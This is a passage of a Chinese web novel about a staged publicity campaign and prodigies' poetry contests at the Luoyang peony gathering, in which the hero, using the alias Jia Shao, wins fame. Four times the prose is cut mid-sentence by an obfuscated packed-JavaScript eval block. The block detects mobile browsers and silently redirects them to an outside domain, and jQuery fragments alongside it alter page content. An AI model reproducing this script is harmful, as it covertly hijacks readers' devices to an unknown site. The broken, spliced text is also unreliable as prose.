“然后再请何旭出面,当场替贾邵打脸,把戏剧性拉满!” “前后两级反转,贾邵,必火!” 听完这番话,知府赵恒惊呆了。 他呆愣愣看着那东家老太太,震撼的想,不愧是邸报东家,也太专业了吧! 这套组合拳打下来,再加上贾邵的才气,想不出名都难啊! 因此。 赵恒激动道:“好!好啊!这样,我给你三百两!要求只有一个,未来一个月,贾邵的大名,不仅要响彻洛城,也要传遍天下!” 东家老太太自信道:“没问题!这方面,我们是专业的!” “对了,明日洛阳牡丹文会,大人也给我发一份请柬吧。我带着邸报的伙计,亲自去现场,记录那贾邵的风采。” “有我们在,这贾邵,必火!” 说这话的时候。 老太太心里想的是,我明日倒是要去看看,这‘营销咖贾邵’是个什么水平! 我家这邸报,可是为了给岘哥儿扬名,才特地办的。 若非赵恒给的太多,再加上需要先拿贾邵练练手,来日好给岘哥儿扬名铺路,否则我怎么愿意接这个活儿? 而赵恒听完东家老太太这番豪言,叹服不已。 这老太太,不仅专业,还魄力风采惊人啊。 一看就是能办大事儿的! ? 160、牡丹文会?吹嘘主角大会!(上) 和洛阳知府赵恒,协商完毕‘营销贾邵’的规划后。 邸报东家老太太起身,风风火火告别。 她这般干练作风,看的赵恒在心中直呼‘高手在民间’。 然而。 当邸报东家老太太离开茶楼后,在赵恒看不到的角落里,嘿嘿激动傻乐。 足足三百两到手了啊! 将银票小心揣在怀里,老太太眉眼中尽是振奋。 这绝对是她做东家以来,接到的单笔金额最大的单子了! 没错,这邸报东家老太太,自然便是老崔氏。 上个月,崔岘离家的时候。 老崔氏,和大儿子崔伯山、大儿媳林氏,正在陈州忙着开邸报分店。 如今陈州那边事情还没忙完。 但洛阳赏花文会,马上便要开始。 老崔氏经过反复琢磨,留崔伯山夫妇在陈州忙活,自己则是赶来洛阳,寻找商机。 她敏锐的察觉到,自家邸报,可以借助这场热闹的洛阳牡丹文会,顺利完成‘转型’。 不出所料。 老崔氏一到洛阳,就接了个超级大单子! 客户给的实在太多了。 因此,老崔氏也顾不上休息,连夜开始干活儿! 她去了洛阳‘坊间邸报’店铺,吩咐伙计,把牌匾撤掉。 换成了‘东都花讯’。 于是,一个八卦狗血邸报,就这样摇身一变,成为了极具雅趣、又扣题赏花文会的‘高端大气上档次’邸报。 换完了名字。 老崔氏坐在案前,提笔蘸墨,亲自操刀写了一篇《洛阳文会沽名钓誉第一人贾邵》的文章。 其用词之辛辣,令人看了就对那贾邵心生怒火。 写完后,老崔氏很满意。 邸报掌柜赞叹不已:“东家,您这笔力,这字迹,实在令我叹服啊! 听到这话,老崔氏心里美的冒泡,但表面却不显,只矜持淡淡道:“尚且能入眼罢了。 掌柜闻言表情越发敬佩。 “让印刷坊的伙计们,连夜把这篇文章印刷出来。今晚辛苦他们了,所有人工钱翻三倍。 说完后。 老崔氏把那篇文章递给掌柜,可忽然灵光一闪,又道:“单独刊登一篇文章,太过单薄,也太浪费!这样,正面刊登这篇文章。 “背面分作两个版面,版面一刊登洛阳牡丹花期,科普牡丹品种。版面二,咱们搞个牡丹文会作诗征稿大赛! “反正这炮轰贾邵的邸报,要卖给文会上大量读书人传阅。那不如趁着这个机会,好好将咱们《东都花讯》邸报的名气,彻底打响! “咱们面向全体洛阳文会读书人征诗稿,优秀作品可以刊登邸报,第一名奖励五十两银子!又有钱,又能刊登作品扬名,那群读书人们肯定乐意捧场! 老天呐! 东家这脑子,究竟是怎么长得,怎么这般厉害啊! 掌柜的越听嘴巴张得越大,震撼看着老崔氏:“东家,您这高超手段,实在是令我佩服不已! 老崔氏摆摆手,一副高深莫测的淡然姿态,吩咐道:“去按照我说的,开始干活儿吧。 掌柜带着伙计们去忙碌。 老崔氏一人坐在店铺里,苍老的眼睛里,是振奋期待,是无限的野心。 蛰伏五年,潜心学习五年。 她,终于迈开了带领崔氏一族崛起的第一步! 等洛阳文会结束后,《东都花讯》邸报绝对会一炮打响名声! 岘哥儿那孩子若是知道了,估计也会吃惊不已吧? 想象着小孙子吃惊、赞叹的表情,老崔氏美滋滋嘿笑出声。 正所谓:士别三日,当刮目相待! 岘哥儿,且让祖母在你面前,装个大的嘿嘿! 这一夜。 《东都花讯》邸报连夜疯狂拓印。 而洛阳知府赵恒,则是私下找了几十个人,到处散播‘贾邵战胜何旭一事纯属瞎编’的谣言。 一夜过去。 万众期待已久的洛阳赏花文会,终于正式开始。 读书人们各自盛装打扮,幻想着自己能在文会上一鸣惊人,获得赏识。 当然,除了想参加文会扬名,还有一件大事,让一众文人们气愤不已。 那霸占牡丹阁甲字一号房的贾邵,根本没有赢何旭师兄,这一切都是他故意散布消息,瞎编的。 简直岂有此理! 清晨。 大量读书人们自酒楼出发浩浩荡荡穿过市井街道去参加文会。 就在这时众人惊讶发现路边竟然有一个摊位在卖邸报! 《东都花讯》? 名字倒是好生雅致! 已经有很多读书人没忍住掏钱买了邸报结果看了内容以后脸色顿时气的铁青。 “那贾邵果真是在沽名钓誉!” “为了出名竟然故意踩着何旭做垫脚石当真可恶至极!” “我等今日齐聚洛阳牡丹文会定要让那贾邵给个说法!” “咿?这东都花讯邸报还办了一场作诗征稿大赛?我要投递诗稿!说不定就能借此扬名呢!” “太好了我也要去投稿!” 读书人们一边讨论着‘东都花讯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088451|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作诗征稿大赛'' 一开始只是几十人。 后来读书人汇聚的越来越多打眼看过去乌央乌央少说也得数百人! 这般惊人阵仗惹得路过的百姓们纷纷惊异侧目。 发生了什么? 数百读书人赶到牡丹园林而后不约而同在牡丹阁外汇聚趁着文会没开始知府大人还没来朝着上方愤怒喊话。 “贾邵滚下来!” “沽名钓誉的**子你凭什么欺负何旭师兄!” “胸无点墨的草包不配住甲字一号房!” 任谁都没想到本该风趣雅致的洛阳赏花文会开始第一天会闹出这样的事情来。 因为动静太大很多洛阳百姓都来凑热闹。 牡丹阁外的空地上站满了身穿儒衫的文人那场面实在震撼! 人群后方。 老崔氏带着邸报一帮伙计们远远看着这一幕心中揣测着洛阳知府赵恒该如何给贾邵破局。 难道是提前给贾邵捉刀写好了诗词、文章? 这样会不会露馅? 嗯……不行得给客户做个风险评估。必要的话要提前给岘哥儿写信让他帮忙捉刀两篇文章做备用。 牡丹阁内。 甲字一号房。 洛阳知府赵恒洛阳 同知齐栋梁,已经早早到了。 二位大人,正在陪贾邵用早食。 听着外面对自己的谩骂,崔岘无言道:“二位,是不是要跟我解释一下?” 洛阳知府赵恒嘿笑道:“先生,不必惊慌!你今日,便在房里安稳坐着,不用露面。” “接下来,自会有人替你正名!” “只等事态两级反转后,先生在一片震惊、赞叹中,施施然惊艳亮相。” 齐栋梁跟着点头:“是极是极,届时,我跟赵大人会陪在先生左右,为先生的隆重出场压阵!” 啊这。 崔岘闻言惊讶道:“你们已经知道,苏祈辩经输给我,所以会来牡丹文会,当众表示他不如我的事情了?” “二位,消息倒是挺灵通的嘛。” 此言一出,满室静默。 齐栋梁、赵恒震撼傻眼。 随后,齐栋梁呆滞道:“什么?苏祈输给先生了?什么时候的事儿?” 崔岘纳闷道:“你们不知道此事?那你们为何说,有人会替我正名?” 赵恒轻‘嘶’一口气:“我们的意思是,何旭会来替你正名啊!这,难道今日除了何旭,还有苏祈当众表示不如先生你?” “老天,那待会儿阁楼外,得多热闹啊!” ? 161、牡丹文会?吹嘘主角大会!(中) 这次为了帮贾邵扬名赵恒是既出钱、又出力。 他早就跟何旭那边协商好趁着今日‘群情激奋’的时候当众让何旭为贾邵发声。 恰好何旭还因先前的冲突对贾邵抱有歉意。 因此痛快就同意了! 可让赵恒、齐栋梁万万想不到的是不仅何旭输给了贾邵。 连名动四方的‘狂才’苏祈都早已输给了贾邵! 老天! 虽然知道贾绍是妖孽可……这也太妖孽了些! 赵恒、齐栋梁呆愣愣看向贾邵表情中尽是探究。 其实他俩也很想问:先生您究竟是从哪里冒出来的啊! 有这般通天本领怎地先前却一直籍籍无名。 这合理吗? 牡丹阁甲字一号房里两位府官看着贾邵怀疑人生。 而牡丹阁外。 一大群叫嚣着让‘贾邵滚下来’的读书人们马上也要开始怀疑人生了。 最先来替贾邵‘正名’的并非是何旭。 而是严思远等一帮小黑粉们! 最近几天他们快要气疯了也快要憋疯了! 贾邵先生不仅才高八斗还因‘孟津祥瑞’一事拯救万千百姓于水火。 这般绝世才子住甲字一号房非常合理! 凭什么要被一群庸才指指点点、谩骂嘲讽? 他们配吗? 但参加文会的读书人太多了严思远等人又没办法一个一个上去解释告诉他们贾邵有多厉害。 因此只能憋屈忍了。 可今日文会开场却听说成百上千读书人在牡丹阁外**贾邵。 严思远等人终于忍不了了! 保护全世界最有才情品德最高洁的贾邵先生是他们反岘同盟每一个人都义不容辞的责任! 真正的大才子绝对不该被轻视! 因此。 严思远、齐怀明、阮修德三人 现场一片混乱。 但他们几十个人凑在一起就这样横冲直撞挤进人群。 在一片谩骂、问候声中。 严思远等人成功挤进牡丹阁前的台阶之上,而后,齐齐敲响手中的铜锣。 哐! 哐! 刺耳的铜锣声,让读书人们痛苦捂住耳朵,懵逼的看向严思远一群人。 人群霎时间安静下来。 连站在远方观望的老崔氏,都愣愣看过来,不明白这是闹得哪一出。 但,严思远等人也不解释。 在无数道疑惑目光的注视下。 小黑粉们深吸一口气,互相对视,默契坚定点头。 而后朝着面前成百上千的读书人们,齐齐大声吟诵道:“白日依山尽,黄河入海流! 什、什么? 这群读书人们,万万想不到,严思远等人敲锣打鼓过来,竟然是为了诵诗。 片刻的怔愣后。 无数人震撼的瞪大眼睛,现场瞬间陷入沸腾! “这……这是哪首诗?好生精彩! “为何我此前从未听说过。 “白日依山尽,黄河入海流?好,好啊!我只听这前两句,都觉得热血沸腾! “别吵,都别吵!让他们继续吟诵! 短短两句诗,便惊艳全场!震撼全场! 看着台阶下方那些神情呆滞的读书人们,严思远等人骄傲极了,嘚瑟极了,激动极了! 看,这就是我们反岘同盟的领袖啊! 任你们如何谩骂,只要拿出他的作品来,顷刻间便能令全场为之折服。 想到这里,严思远等人越发激动。 他们扬起高傲的下巴,轻蔑看向下方的读书人们,涨红着脸,用更大的声音吟诵出后两句诗:“欲穷千里目,更上一层楼! 哗! 四句诗吟诵完,现场无数读书人眼睛里尽是呆滞、惊叹、震撼。 这首诗,绝对当属神作啊! 尤其是此刻,被严思远等人当众朗诵出来,那扑面而来的大气磅礴之感,仿佛裹挟着涛涛黄河之势,令人心折神往! 但,为何众人此前从未听过这首诗? 连最后方的老崔氏,在听完这四句诗后,都满脸惊异。 她看着严思远等 人,心中隐约有了个猜测。 “诸位兄台,敢问这首诗叫什么名字?” “又是何人所创作的?” “兄台,请务必告知我等,这首诗的来历!” “神作!一首神作诞生,我大梁诗坛,必定要引发轰动了!兄台,快告诉我们,这首诗的名字和作者!” “这大梁诗坛,必有此诗作者的一席之地!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088452|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>牡丹阁外的读书人们,彻底沸腾了。 他们激动又迫切的看向严思远等人,想要知道这首神诗的更多消息。 严思远等人当然不负众望,看向他们,用近乎嘶吼的声音,骄傲大声激动道:“《登鸿雁楼》,作者,贾邵!” 《登鸿雁楼》! 作者,贾邵! 这简短的一句话,如惊雷炸响,炸的在场众人集体呆滞失声。 谁? 贾邵? 有读书人没忍住,脱口而出道:“是……是那个,住在牡丹阁甲字一号房,引发群嘲众怒,瞎编乱造踩着何旭师兄扬名、胸无点墨、品德败坏的贾邵吗?” “怎么可能!” “绝对不可能,这首诗,肯定不是他作的!” 听到这话。 严思远冷笑一声,往前走几步,扬起下巴说道:“胸无点墨?可笑!你可知为何,贾邵先生会出现在洛阳文会吗?” “盖因,前些日子,在孟津鸿雁楼,贾邵先生登楼俯瞰黄河有感,创作这首《登鸿雁楼》!知府大人当时就在现场,亲眼看着贾邵先生创作这首诗。” “知府大人被贾邵先生的才情折服,热情邀请贾邵先生参加洛阳赏花文会,并将他安排在甲字一号房!” “如今,《登鸿雁楼》就镌刻在孟津鸿雁楼顶,那是贾邵先生亲笔题写的!若是不信,自己去看!” “亦或者,你们大可去找知府大人询问!” “若是能作出《登鸿雁楼》这种璀璨诗篇的贾邵先生,都算是胸无点墨的话——” “那诸位,又算是什么东西?” 这番毫不客气的话,让在场许多读书人脸色瞬间涨红。 但,却偏偏没有底气反驳! 一片安静中。 何旭,自人群中走了出来! 显然他方才听到了严思远等人吟诵的《登鸿雁楼》,此刻仍旧满脸惊艳。 贾邵师兄,属实大才啊! 难怪先前在露台上,轻松引经据典,展露无双才情。 因此,在无数人更加震撼的注视下。 便见何旭走上台阶,跟严思远等人站在一起,朗声道:“诸位,好叫大家知道,贾邵师兄没有沽名钓誉,更没有踩着我扬名。” “因为我,确实输给了他。” 哗! ? 162、牡丹文会?吹嘘主角大会!(下) 因何旭当众表示,自己输给贾邵,从而引发一片哗然震惊的时候。 洛阳,城门处。 十几辆马车,浩浩荡荡自城外驶了进来。 这般大阵仗,自然引来无数人观望。 尤其是,当瞧见最前方那辆马车上绣着的‘苏’字后,有几位手持‘东都花讯’邸报的读书人,神情一震! 他们壮着胆子上前,恭敬询问道:“敢问,可是苏祈师兄? 最前方马车窗帘被挑开,露出苏祈那张桀骜不驯的脸:“是我,赏花文会可开始了? 果然是苏祈师兄! 那读书人闻言振奋了。 他将手中的‘东都花讯’邸报递过去,义愤填膺道:“苏祈师兄,您总算是到了!这次洛阳赏花文会,本该各方才子齐聚一堂,舞文弄墨,赏花品茗,是为我等文人风雅! “然而,却被那胸无点墨的贾邵给毁了,实在可恶! “贾邵,他就是本届赏花文会最大的那颗老鼠屎啊! 这话说完。 苏祈那辆马车后面,十几辆马车齐齐打开车窗,露出数十张难以置信的脸。 包括张廷豫在内,一群人们简直都不敢相信自己的耳朵。 辩经胜过苏祈师兄、湖边作诗《咏柳》、惊才绝艳的贾邵师兄,被称作‘胸无点墨’? 开什么玩笑?! 甚至连苏祈都愣住了。 他接过‘东都花讯’邸报,大概看了几眼,越看脸色越难堪。 简直一派胡言! 这家垃圾邸报应该趁早关门歇业! 在那几位读书人震惊、呆滞的注视下,苏祈直接将那份邸报撕到粉碎,冷笑道:“贾邵胸无点墨?文会最大的老鼠屎? “笑话! “他能来参加这场洛阳文会,是文会的荣幸!你们这群废物,也配看不上贾邵? “连我都输给了他,你们又算什么玩意儿? 说罢。 不理会几位傻眼的读书人,苏祈吩咐车夫,飞速朝着牡丹园林赶去。 后方。 张廷豫等人神情气愤焦急,纷纷紧急跟上。 贾邵师兄这明显是被人给欺负了啊。 不行必须尽快赶过去保护贾邵师兄保护咱们的‘偶像’! 他们浩浩荡荡走了。 那几个读书人才从震惊中回过神—— 方才苏祈师兄说他输给了贾邵?! 老天啊! 另一边。 牡丹阁楼前。 也有读书人震惊提出质疑:“何旭师兄您……当真输给了那贾邵?怎么可能!你们比试的是什么内容啊?” 对对比试的什么这个很关键! 迎着众人迫切询问的目光 只是拆字解花的话不应该啊! 正当众人不解的时候。 便听何旭又说道:“先拆字解花而后赋联句诗再以联句诗作题以八股破之。要求是拆字引经据典联句诗有出处八股破题经史互参。” 嘶! 听完这个比试题目现场无数人倒抽冷气一片瞠目。 这……也太变态了吧! 何旭无奈笑了笑说道:“那日贾邵师兄凭栏而立姿态格外悠闲信手拈来便轻松给出答案。” “他拆‘牡丹’二字为‘牡鼎丹铭’赋联句诗为‘牡鼎铸周承稷黍丹铭勒汉纪功勋’……而后又以此联句诗破八股为:鼎者国之重器;铭者史之贞珉……” 听完何旭的话全场呆滞失声。 就这一个游戏至少需要引用近十本书而且最后破八股的时候还经史互参了! 拆字联句诗做八股单独拎出来都不难。 可难得是三者合并在一个游戏里啊! 而且那贾邵竟还能答得如此令人惊艳叹服! 那位读书人没忍住又问道:“何师兄那您是怎么回答的怎么就输了呢?” 何旭沉默片刻坦然道:“我并未回答因为我自认为无法给出比贾邵师兄更好的答案。所以直接认输了。” 一场比试技压全场逼得大才子何旭当场认输! 这得是何等恐怖的实力啊。 再加上令在场无数人叹服的那首《登鸿雁楼》—— 贾邵肯定是一位真 正的绝世天才!! 读书人们神情茫然还没有完成从‘胸无点墨的贾邵’到‘绝世天才贾邵’的认知转变。 严思远等小黑粉们听完何旭的话更是眼冒星光:“这算什么!贾邵先生的厉害之处我们还未说出十之其一。” “总之这甲字一号房他住的名正言顺!” 这番话何其猖狂。 但现场的读书人们 贾邵今日给他们带来了堪称颠覆般的震撼! 连站在远处的老崔氏都很是惊诧。 方才严思远等人现身的时候她心中猜测这些人应该是‘托儿’来给贾邵‘正名’的。 但《登鸿雁楼》一出惊艳全场。 再加上何旭的诉说贾邵算是彻底出名了。难不成此人确实有真才实学? 正当老崔氏心中嘀咕。 当在场读书人们为贾邵而感到震撼的时候。 更震撼的一幕来了! 十几辆马车赶到了牡丹格外。 正是苏祈一群人! 他们进城后得知成百上千的读书人因为反对贾邵住牡丹阁甲字一号房纷纷去找贾邵算账。 生怕贾邵被欺负苏祈等人不敢停顿一路疾驰赶来。 出了马车后瞧见这一大群汇聚在牡丹阁外、气势汹汹的读书人苏祈脸色铁青。 他站在马车前方冷脸怒斥道:“你们这帮废物想要做什么?” “我是苏祈我同意贾邵住牡丹阁甲字一号房!” “盖因我先前辩经输给了他!” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088453|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作诗也输给了他!” 哗! 三句话震惊全场! 无数人倒抽冷气。 甚至连何旭都惊异看向苏祈。 严思远等小黑粉们在经过短暂的呆滞后齐齐爆发出惊呼声。 贾邵先生你还有什么惊喜是我们不知道的! 连苏祈都输给了你! 贾邵牛逼! 引发全场哗然震惊后。 苏祈并不停歇继续道:“当日在宝丰县驿站我和贾邵约定好辩经。赢者 先行五里地,输者落后五里地,先到洛阳者为胜。” “结果,我输了,输得一败涂地。” “我不服气,找贾邵加注,赌诗。” “当然,我也输了。” 听到这里。 严思远、何旭,以及在场成百上千的读书人们,脸色都变得凝滞起来。 心跳更是无端开始加速。 不会吧,不会吧? 作了一首《登鸿雁楼》就算了,还有其余的诗? 天啊! 在众人呆滞的注视下,苏祈深吸一口气,说道:“我那首,就不拿出来丢人了。但我觉得,贾邵那首《咏柳》,有必要让你们来品鉴一番,听好了——” “碧玉妆成一树高,万条垂下绿丝绦。不知细叶谁裁出,二月春风似剪刀。” “你们谁能作出比这首更好的诗,大可去住甲字一号房。但若是作不出,那就少来这里丢人现眼!” “贾邵之大才,远超你们万万倍!” “还有,让出路来!” 一首《咏柳》吟诵完,让全场再度陷入呆滞! 谁懂这种两首神作名诗现场砸过来的震撼! 脑瓜子都嗡嗡的! 再想起自己是为羞辱教训贾邵而来的,在场无数读书人们羞愧到脸色涨红。 于是,他们纷纷让出通道。 苏祈一路走到牡丹阁下,深吸一口气,说道:“我既输了,今日便是要来兑现赌约内容的。” 说罢。 在无数人呆滞的注视下。 便见以狂妄闻名天下的大才子苏祈,抬头看向牡丹阁上方,桀骜的表情中带着张扬笑意,大声道:“我,苏祈,辩经输给贾邵,我不如贾邵!” “我,苏祈,斗诗输给贾邵,我不如贾邵!” 全场静默。 在一片安静中。 苏祈看向阁楼上方,继续朗声道:“坦白说,这些天我是有些憋闷,我甚至大骂自己是废物。” “从前是我眼高于顶,小觑天下群雄,所以既输了,我苏祈,坦然受之!” “但,我还是想问一问你。” 牡丹阁下方。 比试输了的苏祈,脊梁笔挺,尽显少年桀骜风骨:“能不能,给个机会?有一个废物,想厚着脸皮——” “跟你交个朋友。” ? 163、文会上那些比花更耀眼的天才少年们(上) 苏祈当众承认不如他,并想要跟他交个朋友。 何旭直接认输。 作出《登鸿雁楼》、《咏柳》两首神诗! 从‘胸无点墨的贾邵’,到‘绝世大才子贾邵’,一盏茶功夫,完成了惊天两极大反转! 贾邵,成功在洛阳文会开始之前,名声大噪! 今日成百数千的文人们,都记住了这个名字。 甚至此刻的牡丹阁,不像是洛阳赏花文会开场。 更像是一场‘吹嘘贾邵’的盛会! 好了,现在所有人都知道—— 贾邵很牛逼! 但也难免被勾起了好奇心。 贾邵,到底长什么模样啊! 就在苏祈话音落下后不久,牡丹阁内,传来不疾不徐的脚步声。 出来了! 在场上千文人们,都瞪大了眼。 人群最后方。 老崔氏也不免踮起脚尖,向牡丹阁里好奇张望。 盖因,‘贾邵迷弟’们把他吹嘘的太过神圣了。大家都迫不及待的想要看看,这位‘绝世大才子’的姿容! 而贾邵,也并未辜负万众期待。 在无数道惊艳目光的注视下,一位身穿红衣、白皙俊俏、如玉如琢的高挑少年郎,自牡丹阁内信步走出来。 在红衣少年郎身后。 知府赵恒、同知齐栋梁两位府官,左右陪同。 这般出场方式,实在耀眼夺目,令人咂舌震撼。 想来今日结束后,贾邵这个名字,一定会以最快的速度,名满洛阳城! 他这般堪称传奇的事迹,天然就带有话题度啊! 唯有人群后方,在看清楚‘贾邵’模样后的老崔氏,直接傻眼了。 不是,才几个月没见,我家乖孙改名字啦? 难怪! 难怪这个贾邵,又是写诗,又是让绝世天才当场认输。 原来是我家乖孙啊。 这一切瞬间合理了! 换做以前,老崔氏肯定要上前去问个清楚。 可现在,她很快便反应过来——乖孙这么做,自然是有原因的! 他说自己叫贾邵, 那就是贾邵! 问题是,回想起自己写的那篇《洛阳文会沽名钓誉第一人贾邵》的文章,老崔氏整个人都不好了。 脸色都有些羞耻的涨红。 她还想把《东都花讯》邸报经营起来,在乖孙面前装个大的。 结果好家伙,拉了一坨大的! 把自家乖孙给狠狠骂了一顿! 这样想着,老崔氏赶紧掩面低头,对身后掌柜、伙计们急切说道:“快快快,咱们先走! 啊? 邸报的伙计们,还想看看贾邵什么模样呢。 听到老崔氏这话,都愣住了。 但只能跟着东家,迷惑不舍的离开。 好在今日现场人多,老崔氏等人开溜,并未引起任何注意。 连崔岘都未曾察觉。 因为他此刻全部的注意力,都在苏祈身上。 众目睽睽下。 一身红衣的贾邵走出牡丹阁,含笑看向苏祈:“只是一场切磋而已,胜败乃兵家常事,何来废物一说? 说罢。 他学着方才苏祈的语气,笑眯眯道:“我是贾邵,我不同意苏祈自称废物。你最好重新组织一下语言,盖因—— “名满天下的狂才苏祈,跟废物二字,从来都是不沾边的。 “你若再敢说一句苏祈是废物,我贾邵,第一个饶不了你! 就这么简单几句话,让苏祈眼睛都莫名有些湿润。 他17岁的年纪,狂虽狂了些,可这些年,从未有败绩。 天知道这一个月以来,他做了多少自我心理建设,才重新走出来。 当众承认自己不如别人,对于他来说,也是需要莫大勇气的啊! 此刻,听到贾邵的话,苏祈是真心觉得—— 输给眼前人,他苏祈,服! 因此。 苏祈深吸一口气,压下眼角的泪意,重新露出张扬肆意的灿烂笑容:“既如此,名满天下的狂才苏祈,准备跟你贾邵,交个朋友。 “我劝你最好不要不识好歹,赶紧同意了。 崔岘大步走上前,笑着朝他伸出拳头:“你这个朋友,我交了! 苏祈哈哈大笑,紧跟着出拳。 两个同样年轻耀眼的少年郎,在无数人见证下,拳拳相撞。 往日恩怨随风去。 自今日起,咱们就是朋友了! 旁边。 何旭看的很是羡慕,但他年纪稍小,到底是有些腼腆,没好意思说自己也想来交个朋友。 于是笑道:“可惜了,此时此刻,应共饮一杯,才能给二位师兄的友谊庆贺。 苏祈又恢复了往日的猖狂,挑眉看向何旭:“你又是哪位? 啧。 崔岘很是无言。 何旭一拱手:“苏师兄,在下何旭。 苏祈惊讶看向何旭,但并未第一时间回话。 崔岘瞪了苏祈一眼。 苏祈这才不情愿朝着何旭一拱手:“原来是何师弟,久仰大名!既如此,咱们应当一起共饮,敬此次洛阳相遇! 都是名满天下的大才子,此前肯定都听过对方名讳。 但却从未见过。 今日得见,可不就应该‘敬相遇’嘛! 三人身后。 洛阳知府赵恒笑呵呵道:“几位都是满身学识在身的当世才子,肯赏脸来洛阳,实在是本官之荣幸,洛阳文会之荣幸! 洛阳同知齐栋梁也笑道:“本官和赵府台,在牡丹园林金谷园,谪仙亭内摆了曲水流觞宴席。除了三位,还有其余几位大才子,想来已经在谪仙亭内等候着了。 “今日牡丹文会盛事,本官和赵府台,引荐诸位才子互相结识。宴席上,自当举杯畅饮,敬此次相遇! 这才像是牡丹文会应有的模样。 而不是一群人汇聚起来,叫嚣让某某滚出牡丹阁,宛如笑料儿戏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088454|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 崔岘朝着赵恒、齐栋梁拱了拱手,笑道:“二位大人,请。 于是。 赵恒、齐栋梁走在前方。 崔岘、苏祈、何旭三人笑着一同前往。 齐思远等小黑粉,以及张廷豫等人,激动紧跟其后。 在场近千位讨伐贾邵的读书人,直接被他们给无视了。 但贾邵从惊艳出场,到跟苏祈‘交朋友’,那般洒脱从容姿态,足以让在场上千文人羞愧,自叹弗如! 人家 贾邵,确实是足以跟苏祈并论的绝世天才啊! 甚至还赢了苏祈! 因此。 这群讨伐贾邵的文人们,互相羞愧对视后,沉默着悻悻跟了上去。 当然,大家心里想的都是—— 真该死!我们真该死啊! 竟然对真正的天才,恶语相向,还逼迫人家滚出牡丹阁甲字一号房! 不行,接下来一定要找到合适的机会,跟贾邵师兄赔罪! 另一边。 百亩牡丹园林核心位置,金谷园。 谪仙亭。 千株牡丹竞放,魏紫、姚黄如锦绣铺地,白牡丹似雪魄凝霜。 园中引活水为曲溪,溪畔叠石为山,亭台半隐花间。 一座矗立于牡丹花海、山水之间的古朴亭榭楼台,自姹紫嫣红中拔地而起,格外雅致。 暮春四月,洛阳牡丹正盛,天光澄澈,香风微醺。 那谪仙亭四周,六角飞檐悬铜铃,铃下缀牡丹形琉璃灯。 有风吹来,琉璃灯随风摇摆,铜铃脆脆作响。 格外悦耳动听。 亭内,设有曲水流觞宴席。 九曲清溪绕白玉石台,水中浮青瓷荷叶盏,盏托檀木小舟,载酒食顺流而下。 清溪活水汤汤。 溪左侧‘青龙卧墨池’,紫瓣金蕊;溪右侧‘酒醉杨妃’,粉瓣垂露,恰似美人酡颜。 不愧是‘洛阳牡丹文会’,将‘雅’之一字,展露的淋漓尽致。 放眼谪仙亭外,一片璀璨花海。 而谪仙亭内。 六位年轻、朝气蓬勃的少年郎,各自坐在自己的位置上,神情微妙极了。 因为本该早早开始的赏花文会,推迟了。 至于原因嘛—— 一位叫做贾邵的,出尽了风头。 他们坐在谪仙阁里,都听说了《登鸿雁楼》、《咏柳》两首璀璨诗篇。 大家都是身负盛名的绝世天才,傻乎乎坐在这里,竟成了别人的陪衬。 谁肯服气? 谪仙阁外,脚步声由远及近传来。 应该是今日大放异彩的‘主角贾邵’到了。 亭台里。 一位身穿青衣,身形削瘦,眉如春山的少年郎笑着调侃道:“看来,咱们的主角,终于要登场了。” “但,想在亭子内继续做主角,怕是有些难度。” “我提议,给咱们的主角,来个下马威,如何?” ? 164、文会上那些比花更耀眼的天才少年们(中) 青衣少年郎的提议,当即得到了其余五位少年郎的赞同。 此刻。 因为文会尚且没有正式开始。 曲水流觞宴席里,只上了六盘菜,贴心供六位少年郎提前享用。 见亭子里其余人纷纷点头。 青衣少年郎停顿片刻,确定外面那群人已经无限接近谪仙亭,能听见自己等人在亭子里的谈话。 这才笑吟吟说道:“既如此,那咱们就先玩一个行酒令的游戏。 “这个游戏很简单,名字叫做:行酒令之聚宴争菜。 “至于规则嘛,就更简单了。 “酒令的内容便是,引用历史人物和事件,取走菜肴。行完酒令,可以独自享用一盘菜,各位意下如何啊? 谪仙亭内。 其余五人都表示没有异议。 亭子外。 绚烂花海中。 